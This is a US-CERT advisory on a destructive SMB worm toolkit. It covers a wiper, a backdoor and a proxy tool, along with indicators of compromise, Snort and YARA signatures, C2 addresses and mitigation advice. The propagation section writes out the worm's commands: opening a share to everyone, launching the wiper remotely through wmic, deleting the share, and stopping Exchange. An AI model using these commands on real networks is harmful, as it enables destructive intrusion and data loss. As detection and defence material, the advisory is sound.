This proxy tool has basic backdoor functionality, including the ability to fingerprint the victim machine, run remote commands, perform directory listings, perform process listings, and transfer files.
Destructive Hard Drive Tool: This tool is a tailored hard-drive wiping tool that is intended to destroy data past the point of recovery and to complicate the victim machines recovery.
If the CNE operator has administrator-level privileges on the host, the program will over-write portions of up-to the first four physical drives attached, and over-write the master boot record (MBR) with a program designed to cause further damage if the hard drive is re-booted.
This further results in the victim machine being non-operational with irrecoverable data (There is a caveat for machines installed with the windows 7 operating system: windows 7 machines will continue to operate in a degraded state with the targeted files destroyed until after reboot, in which the infected MBR then wipes the drive.)
If the actor has user-level access, the result includes specific files being deleted and practically irrecoverable, but the victim machine would remain usable.
Destructive Target Cleaning Tool: This tool renders victim machines inoperable by overwriting the Master Boot Record.
The tool is dropped and installed by another executable and consists of three parts: an executable and a dll which contain the destructive components, and an encoded command file that contains the actual destruction commands to be executed.
Network Propagation Wiper: The malware has the ability to propagate throughout the target network via built-in Windows shares.
Based on the username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares in order to upload a copy of the wiper and begin the wiping process on these remote systems.
The malware uses several methods to access shares on the remote systems to begin wiping files.
Checking for existing shares via \\hostname\admin\system32 and \\hostname\shared\system32 or create a new share cmd.exe /q /c net share sharedSystemRoot /GRANT:everyone, FULL.
Once successful, the malware uploads a copy of the wiper file taskhostXX.exe, changes the file-time to match that of the built-in file calc.exe, and starts the remote process.
The remote process is started via the command cmd.exe /c wmic.exe /node:hostname /user:username /password:pass PROCESS CALL CREATE.
Hostname, username, and password are then obtained from the configuration file.
Afterwards, the remote network share is removed via cmd.exe /q /c net share shared /delete.
Once the wiper has been uploaded, the malware reports its status back to one of the four C2 IP addresses.
Technical and strategic mitigation recommendations are included in the Solution section below.
US-CERT recommends reviewing the Security Tip Handling Destructive Malware ST13-003.
Description Cyber threat actors are using an SMB worm to conduct cyber exploitation activities.
This tool contains five components  a listening implant, lightweight backdoor, proxy tool, destructive hard drive tool, and destructive target cleaning tool.
The SMB worm propagates throughout an infected network via brute-force authentication attacks, and connects to a C2 infrastructure.
Impact Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and disruption of critical systems.
Solution Users and administrators are recommended to take the following preventive measures to protect their computer networks: Use and maintain anti-virus software  Anti-virus software recognizes and protects your computer against most known viruses.
It is important to keep your anti-virus software up-to-date (see Understanding Anti-Virus Software for more information).
Keep your operating system and application software up-to-date  Install software patches so that attackers cant take advantage of known problems or vulnerabilities.
Many operating systems offer automatic updates.
If this option is available, you should enable it (see Understanding Patches for more information).
Review Security Tip Handling Destructive Malware ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies (pdf).
The following is a list of the Indicators of Compromise (IOCs) that can be added to network security solutions to determine whether they are present on a network.
MD5s: https://www.us-cert.gov/ncas/tips/ST13-003 https://www.us-cert.gov/ncas/tips/ST13-003 SMB worm tool: MD5: f6f48551d7723d87daeef2e840ae008f Characterization: File Hash Watchlist Notes: SMB worm tool Earliest PE compile Time: 20141001T072107Z Most Recent PE compile Time: 20141001T072107Z MD5: 194ae075bf53aa4c83e175d4fa1b9d89 Characterization: File Hash Watchlist Notes: SMB worm tool Earliest PE compile Time: 20141001T120954Z Most Recent PE compile Time: 20141001T142138Z Lightweight backdoor: MD5: f57e6156907dc0f6f4c9e2c5a792df48 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20110411T225224Z Latest PE compile time: 20110411T225224Z MD5: 838e57492f632da79dcd5aa47b23f8a9 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20110517T050015Z Latest PE compile time: 20110605T204508Z MD5: 11c9374cea03c3b2ca190b9a0fd2816b Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20110729T062417Z Latest PE compile time: 20110729T062958Z MD5: 7fb0441a08690d4530d2275d4d7eb351 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20120128T071327Z Latest PE compile time: 20120128T071327Z MD5: 7759c7d2c6d49c8b0591a3a7270a44da Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20120309T105837Z Latest PE compile time: 20120309T105837Z MD5: 7e48d5ba6e6314c46550ad226f2b3c67 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20120311T090329Z Latest PE compile time: 20120311T090329Z MD5: 0a87c6f29f34a09acecce7f516cc7fdb Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20120325T053138Z Latest PE compile time: 20130513T090422Z MD5: 25fb1e131f282fa25a4b0dec6007a0ce Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20130802T054822Z Latest PE compile time: 20130802T054822Z MD5: 9761dd113e7e6673b94ab4b3ad552086 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20130913T013016Z Latest PE compile time: 20130913T013016Z MD5: c905a30badb458655009799b1274205c Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20140205T090906Z Latest PE compile time: 20140205T090906Z MD5: 40adcd738c5bdc5e1cc3ab9a48b3df39 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20140320T152637Z Latest PE compile time: 20140402T023748Z MD5: 68a26b8eaf2011f16a58e4554ea576a1 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20140321T014949Z Latest PE compile time: 20140321T014949Z MD5: 74982cd1f3be3d0acfb0e6df22dbcd67 Characterization: File Hash Watchlist Notes: Lightweight backdoor Earliest PE compile time: 20140506T020330Z Latest PE compile time: 20140506T020330Z Proxy tool: MD5: 734740b16053ccc555686814a93dfbeb Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140611T064905Z Latest PE compile time: 20140611T064905Z MD5: 3b9da603992d8001c1322474aac25f87 Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140617T035143Z Latest PE compile time: 20140617T035143Z MD5: e509881b34a86a4e2b24449cf386af6a Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time : 20140618T064527Z Latest PE compile time: 20140618T064527Z MD5: 9ab7f2bf638c9d911c2c742a574db89e Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140724T011233Z Latest PE compile time: 20140724T011233Z MD5: a565e8c853b8325ad98f1fac9c40fb88 Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140724T065031Z Latest PE compile time: 20140902T135050Z MD5: 0bb82def661dd013a1866f779b455cf3 Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140819T024812Z Latest PE compile time: 20140819T024812Z MD5: b8ffff8b57586d24e1e65cd0b0ad9173 Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140902T172442Z Latest PE compile time: 20140902T172442Z MD5: 4ef0ad7ad4fe3ef4fb3db02cd82bface Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20141024T134136Z Latest PE compile time: 20141024T134136Z MD5: eb435e86604abced7c4a2b11c4637a52 Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140526T010925Z Latest PE compile time: 20140526T010925Z MD5: ed7a9c6d9fc664afe2de2dd165a9338c Characterization: File Hash Watchlist Notes: Proxy tool Earliest PE compile time: 20140611T064904Z Destructive hard drive tool: MD5: 8dec36d7f5e6cbd5e06775771351c54e Characterization: File Hash Watchlist Notes: Destructive hard drive tool Earliest PE compile time: 20120507T151820Z Latest PE compile time: 20120507T151820Z MD5: a385900a36cad1c6a2022f31e8aca9f7 Characterization: File Hash Watchlist Notes: Destructive target cleaning tool Earliest PE compile time: 20130318T003315Z Latest PE compile time: 20130318T003315Z MD5: 7bea4323807f7e8cf53776e24cbd71f1 Characterization: File Hash Watchlist Notes: Destructive target cleaning tool Earliest PE compile time: 20130318T003319Z Latest PE compile time: 20130318T003319Z Name: d1c27ee7ce18675974edf42d4eea25c6.bin Size: 268579 bytes (268.6 KB) MD5: D1C27EE7CE18675974EDF42D4EEA25C6 PE Compile Time: 2014-11-22 00:06:54 The malware has the following characteristics: While the original filename of this file is unknown, it was likely diskpartmg16.exe.
This file serves as a dropper.
It drops destructive malware: igfxtrayex.exe.
When the dropper file was executed, it started a second instance of itself with -i as an argument, and then terminated.
The second instance of the dropper file installed itself as the WinsSchMgmt service with -k as a command line argument, started the service, and then terminated.
The WinsSchMgmt service executed the file with -k as an argument, which started another instance of the file using -s as an argument.
The -s instance dropped and executed igfxtrayex.exe, created net_ver.dat, and began generating network traffic over TCP ports 445 and 139 to victim IP addresses.
Name: net_ver.dat Size: 4572 bytes (4.6 KB)  (size will vary) MD5: 93BC819011B2B3DA8487F964F29EB934  (hash will vary) This is a log file created by the dropper, and appended to as the scans progress  It contains what appear to be hostnames, IP addresses, and the number 2.
Entries in the file have the structure HOSTNAME  IP Address  2.
Name: igfxtrayex.exe Size: 249856 bytes (249.9 KB) MD5: 760C35A80D758F032D02CF4DB12D3E55 PE Compile Time: 2014-11-24 04:11:08 This file is destructive malware: a disk wiper with network beacon capabilities.
If igfxtrayex.exe is run with no parameters, it creates and starts a copy of itself with the i argument.
After 10 minutes, the igfxtrayex.exe makes three copies of itself and places them in the same directory from which it was executed.
These copies are named according to the format taskhostXX.exe (where X is a randomly generated ASCII character).
These copies are then executed, each with a different argument (one being -m, one being -d and the other -w).
Network connection attempts are made to one of three hard-coded IP addresses in a random order to port 8080 or 8000.
If a connection to the IP address cannot be made, it attempts to connect to another of the three IP addresses, until connections to all three IP addresses have been attempted.
The following command-line string is then executed: cmd.exe /c net stop MSExchangeIS /y.
A 120-minute (2 hour) sleep command is issued after which the computer is shut down and rebooted.
Name: iissvr.exe Size: 114688 bytes (114.7 KB) MD5: E1864A55D5CCB76AF4BF7A0AE16279BA PE Compile Time: 2014-11-13 02:05:35 This file, when executed, starts a listener on localhost port 80.
It has 3 files contained in the resource section all xord with 0x63.
Name: usbdrv3_32bit.sys Size: 24280 bytes (24.3 KB) MD5: 6AEAC618E29980B69721158044C2E544 PE Compile Time: 2009-08-21 06:05:32 This SYS file is a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003, Vista, 2008 (32-bit).
It is dropped from resource ID 0x81 of igfxtrayex.exe.
Name: usbdrv3_64bit.sys Size: 28120 bytes (28.1 KB) MD5: 86E212B7FC20FC406C692400294073FF PE Compile Time: 2009-08-21 06:05:35 This SYS file is a also a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003, Vista, 2008 (64-bit).
It is dropped from resource ID 0x83 of igfxtrayex.exe.
Name: igfxtpers.exe Size: 91888 bytes (91.9 KB) MD5: e904bf93403c0fb08b9683a9e858c73e PE Compile Time: 2014-07-07 08:01:09 A summary of the C2 IP addresses: IP Address Country Port Filename 203.131.222.102 Thailand 8080 Diskpartmg16.exe igfxtrayex.exe igfxtpers.exe 217.96.33.164 Poland 8000 Diskpartmg16.exe igfxtrayex.exe 88.53.215.64 Italy 8000 Diskpartmg16.exe igfxtrayex.exe 200.87.126.116 Bolivia 8000 File 7 58.185.154.99 Singapore 8080 File 7 212.31.102.100 Cypress 8080 File 7 208.105.226.235 United States -- igfxtpers.exe Snort signatures: SMB Worm Tool (not necessarily the tool itself): alert tcp any any - any any (msg:Wiper1content:be 64 ba f2 a8 64offset:16depth:6sid:1) alert tcp any any - any any (msg:Wiper2content:c9 06 d9 96 fc 37 23 5a fe f9 40 ba 4c 94 14 98offset:0depth:16sid:3) alert tcp any any - any any (msg:Wiper3content:aa 64 ba f2 56 9boffset:0depth:50sid:2) alert ip any any - any any (msg:Wiper4content:aa 74 ba f2 b9 75offset:0depth:74sid:4) Listening Implant: alert tcp any any - any any (msg:Backdoor1content:0c 1f 1f 1f 4d 5a 4c 4f 50 51 4c 5a 3f 2d 2f 2f 3f 50 54 3e 3e 3eoffset:0depth:22sid:9) alert tcp any any - any any (msg:Backdoor2content:d3 c4 d2 d1 ce cf d2 c4 a1 b3 b1 b1 a1 ce ca a0 a0 a0offset:0depth:18sid:12) alert ip any any - any any (msg:Backdoor3content:17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78 47 47depth:24sid:1) alert ip any any - any any (msg:Backdoor4content:4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20 1fdepth:23sid:2) alert ip any any - any any (msg:Backdoor5content:15 02 14 17 08 09 14 02 67 75 77 77 67 08 0c 66 66 66depth:22sid:3) alert tcp any any - any any (msg:Backdoor6content:09 22 33 30 28 35 2csid:4) alert tcp any any - any any (msg:Backdoor7content:13 2f 22 35 22 67 26 35 22 29 27 33 67 28 37 22 29 67 37 28 35 33 34 69sid:5) alert tcp any any - any any (msg:Backdoor8content:43 47 47 47 45 67 47 47 43 47 47 47 44 67 47 47sid:6) alert tcp any any - any any (msg:Backdoor9content:43 47 47 47 42 67 47 47 43 47 47 47 4f 67 47 47 43 47 47 47 43 67 47 47 43 47 47 47 4e 67 47 47sid:7) alert tcp any any - any any (msg:Backdoor10content:d1 ce d2 d5 a1 c9 d5 d5 d1 a1 d3 c4 d0 d4 c4 d2 d5 beoffset:0depth:18sid:8) alert tcp any any - any any (msg:Backdoor11content:17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78offset:0depth:18sid:10) alert tcp any any - any any (msg:Backdoor12content:0c 1f 1f 1f 4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20sid:11) Lightweight Backdoor: alert tcp any 488  any any (msg:Proxy1content:60 db 37 37 37 37 37 37sid:3) alert tcp any any - any 488 (msg:Proxy2content:60 db 37 37 37 37 37 37sid:4) alert tcp any any - any any (msg:Proxy3content:4c 4coffset:16depth:2content:75 14 2a 2adistance:4within:4sid:4) alert tcp any any - any any (msg:Proxy4content:8A 10 80 C2 67 80 F2 24 88 10content:8A 10 80 F2 24 80 EA 67 88 10sid:2) alert tcp any 488  any any (msg:Proxy5content:65 db 37 37 37 37 37 37sid:2) alert tcp any any - any 488 (msg:Proxy6content:65 db 37 37 37 37 37 37sid:2) alert tcp any [547,8080,133,117,189,159] - any any (msg:Proxy7content:7b 08 2a 2aoffset:17content:08 2a 2a 01 00distance:0sid:1) alert tcp any any - any any (msg:Proxy8content:8A 10 80 EA 62 80 F2 B4 88 10content:8A 10 80 F2 B4 80 C2 62 88 10sid:1) alert tcp any any - any any (msg:Proxy9content:8A 10 80 C2 4E 80 F2 79 88 10content:8A 10 80 F2 79 80 EA 4E 88 10[sid:3) alert tcp any any - any any (msg:Proxy10content:Sleepyqaz13402scvsde890nocasecontent:BC435PRO623849234123nocasesid:5) Proxy Tool: alert tcp any any - any any (msg:Wiper1content:8A 10 80 C2 3A 80 F2 73 88 10content:8A 10 80 F2 73 80 EA 3A 88 10sid:4) alert tcp any any - any any (msg:Wiper2content:HTTP/1content:e2 1d 49 49offset:Odepth:4content:49 49 49 49distance:4within:4sid:6) alert tcp any any - any any (msg:Wiper3content:82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00sid:1) Malware associated with the cyber threat actor: alert tcp any any - any [8000,8080] (msg:WIPER4flow: established, to_serverdsize:42content:28 00depth:2content:04 00 00 00offset:38depth:4sid:123) Host Based Indicators Below are potential YARA signatures to detect malware binaries on host machines: SMB Worm Tool: strings: STR1  Global\\FwtSqmSession106829323_S-1-5-19 STR2 EVERYONE STR3  y0uar3sllyid07,ou74n60u7f001 STR4  \\KB25468.dat condition: (uintl6(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0) 0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Lightweight Backdoor: strings: STR1  NetMgStart STR2  Netmgmt.srg condition: (uint16(0)  0x5A4D) and all of them Lightweight Backdoor: strings: STR1  prxTroy ascii wide nocase condition: (uintl6(0)  0x5A4D or uint16(0)  0xCFD0 or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Lightweight Backdoor: strings: strl    C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1  62 C6 45 F2 6C  // dayipmr.tbl being moved to ebp condition: (uintl6(0)  0x5A4D or uintl6(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Lightweight Backdoor: strings: strl    C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73  // ansi.nls being moved to ebp condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Lightweight Backdoor: strings: strl    C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73  // tlvc.nls being moved to ebp condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Lightweight Backdoor: strings: STR1   8A 10 80 ?
?
4E 80 ?
?
79 88 10 STR2  SA 10 80?
?
79 80 ?
?
4E 88 10 condition: (uintl6(0)  0x5A4D or uintl6(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Proxy Tool: strings: STR1  pmsconfig.msi wide STR2  pmslog.msi wide condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and any of them Proxy Tool: strings: STR1   82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl  C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00  // SystemRoot\System32\svchost.exe -k xor A7 condition: (uint16(0)  0x5A4D or uintl6(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Proxy Tool: strings: STR2  8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF condition: (uintl6(0)  0x5A4D or uint16(0)  0xCFD0 or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and STR2 Destructive Hard Drive Tool: strings: str0 MZ str1  c6 84 24 ??
(
00  01 ) 00 00 xorInLoop   83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 condition: str0 at 0 and xorInLoop and str1  300 Destructive Target Cleaning Tool: strings: s1   d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000 condition: (uintl6(0)  0x5A4D and uintl6(uint32(0x3c))  0x4550) and all of them Destructive Target Cleaning Tool: strings secureWipe  83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ??
??
?? ?
?
3B C6 89 44 24 1C OF 84 (D8  d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ??
??
?? ?
?
8B D8 3B DF 89 5C 24 14 OF 84 (BC  BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ??
??
?? ?
?
8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 OF 8E ( 5C  5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13  14) 33 F6 (E8  ff 15) ??
??
?? ?
?
88 04 1E 46 81 FE 00 00 01 00 7C ( EF  ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ??
??
?? ?
?
8B F0 83 FE FF OF 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ??
??
?? ?
?
8B 2D ??
??
?? ?
?
6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ??
??
?? ?
?
56 FF 15 ??
??
?? ?
?
6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ??
??
?? ?
?
8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ??
??
?? ?
?
8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ??
??
?? ?
?
6A 00 6A 00 6A 00 56 FF D5 56 FF 15 ??
??
?? ?
?
56 FF 15 ??
??
?? ?
?
56 FF 15 ??
??
?? ?
?
8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE  AD) FE FF FF 6A 00 55 E8 ??
??
?? ?
?
83 C4 08 53 FF 15 ??
??
?? ?
?
5F 5E 5D 5B 83 C4 34 C3 condition: secureWipe Destructive Target Cleaning Tool: strings: S1_CMD_Arg  /install fullword S2_CMD_Parse \s  /install \s\ fullword S3_CMD_Builder \s\  \s\ \s\ s fullword condition: all of them Destructive Target Cleaning Tool: strings: BATCH_SCRIPT_LN1_0  goto x fullword BATCH_SCRIPT_LN1_1  del fullword BATCH_SCRIPT_LN2_0  if exist fullword BATCH_SCRIPT_LN3_0  :x fullword BATCH_SCRIPT_LN4_0  zzd.bat fullword condition: (BATCH_SCRIPT_LNl_l  2) and all of them Destructive Target Cleaning Tool: strings: MCU_DLL_ZLIB_COMPRESSED2 5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD condition: MCU_DLL_ZLIB_COMPRESSED2 Destructive Target Cleaning Tool: strings: MCU_INF_StartHexDec 010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865 MCU_INF_StartHexEnc 6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55 condition: MCU_INF_StartHexEnc or MCU_INF_StartHexDec Destructive Target Cleaning Tool: strings: SetFilePointer SetEndOfFile 75 17 56 ff 15 ??
??
?? ?
?
6a 00 6a 00 6a 00 56 ffD5 56 ff 15??
??
?? ?
?
56 condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and all of them Destructive Target Cleaning Tool: strings: license E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C0020004A006F007200690073002000760061006E002000520061006E007400770069006A006B002C002000440065006C00690061006E000000000000000250000000000A002200CE000800EA03FFFF8200 PuTTY 50007500540054005900 condition: (uint16(0)  0x5A4D and uintl6(uint32(0x3c))  0x4550) and license and not PuTTY Malware used by cyber threat actor: strings: heapCreateFunction_0  33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3??????
?
0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15??????
?033C0C36A0158C3 heapCreateFunction 558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1???????
?
085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15??????
?
085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8???
?
000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15??????
?
0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8???????
?
59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8???
?
000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3 getMajorMinorLinker 568B7424086A00832600FF15??????
?06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3 openServiceManager FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B????
?0?0?08BF?85F?74 condition: all of them Malware used by cyber threat actor: strings: str1  _quit str2  _exe str3  _put str4  _got str5  _get str6 _del str7  _dir str8   C7 44 24 18 1F F7 condition: (uintl6(0)  0x5A4D or uintl6(0)  0xCFD0  or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Malware used by cyber threat actor: strings: STR1   50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 condition: (uintl6(0)  0x5A4D or uint16(0)  0xCFD0 or uintl6(0)  0xC3D4 or uint32(0)  0x46445025 or uint32(1)  0x6674725C) and all of them Recommended Security Practices Because of the highly destructive functionality of the malware, an organization infected with the malware could experience operational impacts including loss of intellectual property (IP) and disruption of critical systems.
Actual impact to organizations may vary depending on the type and number of systems impacted.
Tactical Mitigations Implement the indicators of compromise within your systems for detection and mitigation purposes.
Encourage users to transfer critical files to network shares, to allow for central backed up.
Execute daily backups of all critical systems.
Periodically execute an offline backup of critical files to removable media.
Establish emergency communications plans should network resources become unavailable.
Isolate any critical networks (including operations networks) from business systems.
Identify critical systems and evaluate the need for having on-hand spares to quickly restore service.
Ensure antivirus is up to date.
Disable credential caching for all desktop devices with particular importance on critical systems such as servers and restrict the number of cached credential for all portable devices to no more than three if possible.
This can be accomplished through a Group Policy Object (GPO).
Disable AutoRun and Autoplay for any removable media device.
Prevent or limit the use of all removable media devices on systems to limit the spread or introduction of malicious software and possible exfiltration data, except where there is a valid business case for use.
This business case must be approved by the organization Chief IT Security Officer, with policy/guidance on how such media should be used.
Consider restricting account privileges.
It is our recommendation that all daily operations should be executed using standard user accounts unless administrative privileges are required for that specific function.
Configure all standard user accounts to prevent the execution and installation of any unknown or unauthorized software.
Both standard and administrative accounts should have access only to services required for nominal daily duties, enforcing the concept of separation of duties.
Lastly, disable Web and email capabilities on administrative accounts.
Compromise of admin accounts is one vector that allows malicious activity to become truly persistent in a network environment.
Ensure that password policy rules are enforced and Admin password values are changed periodically.
Consider prohibiting hosts within the production environment or DMZ from sharing an Active Directory enterprise with hosts on other networks.
Each environment should have separate forests within Active Directory, with no trust relationships allowed between the forests if at all possible.
If necessary, the trust relationships should be one-way with the low integrity environment trusting the higher integrity environment.
Consider deployment of a coaching page with click through acceptance these are traditionally deployed in an environment to log the acceptance of network acceptable use policy or to notify users of monitoring.
Coaching pages also provide some measure of protection from automated malicious activity.
This occurs because automated malware is normally incapable of physically clicking an acceptance radial button.
Automated malware is traditionally hardcoded to execute, then retrieve commands or additional executables from the Internet.
If the malware is unable to initiate an active connection, the full train of infection is potentially halted.
The danger still exists that the physical user will authorize access, but through the use of coaching pages, infections can be limited or at least the rate of infection reduced.
Monitor logs -- Maintain and actively monitor a centralized logging solution that keeps track of all anomalous and potentially malicious activity.
Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and fixes.
Strategic Mitigations Organizations should review Security Tip Handling Destructive Malware ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
Always keep your patch levels up to date, especially on computers that host public services accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
Build host systems, especially critical systems such as servers, with only essential applications and components required to perform the intended function.
Any unused applications or functions should be removed or disabled, if possible, to limit the attack surface of the host.
Implement network segmentation through V-LANs to limit the spread of malware.
Consider the deployment of Software Restriction Policy set to only allow the execution of approved software (application whitelisting) Recommend the whitelisting of legitimate executable directories to prevent the execution of potentially malicious binaries.
Consider the use of two-factor authentication methods for accessing privileged root level accounts or systems.
Consider deploying a two-factor authentication through a hardened IPsec/VPN gateway with split-tunneling prohibited for secure remote access.
Deny direct Internet access, except through the use of proxies for Enterprise servers and workstations.
Perform regular content filtering at the proxies or external firewall points of presence.
Also consider the deployment of an explicit versus transparent proxy policy.
Implement a Secure Socket Layer (SSL) inspection capability to inspect both ingress and egress encrypted network traffic for potential malicious activity.
Isolate network services, such as email and Web application servers by utilizing a secure multi-tenant virtualization technology.
This will limit the damage sustained from a compromise or attack of a single network component.
Implement best practice guidance and policy to restrict the use of non-Foundation assets for processing or accessing Foundation-controlled data or systems (e.g., working from home, or using a personal device while at the office).
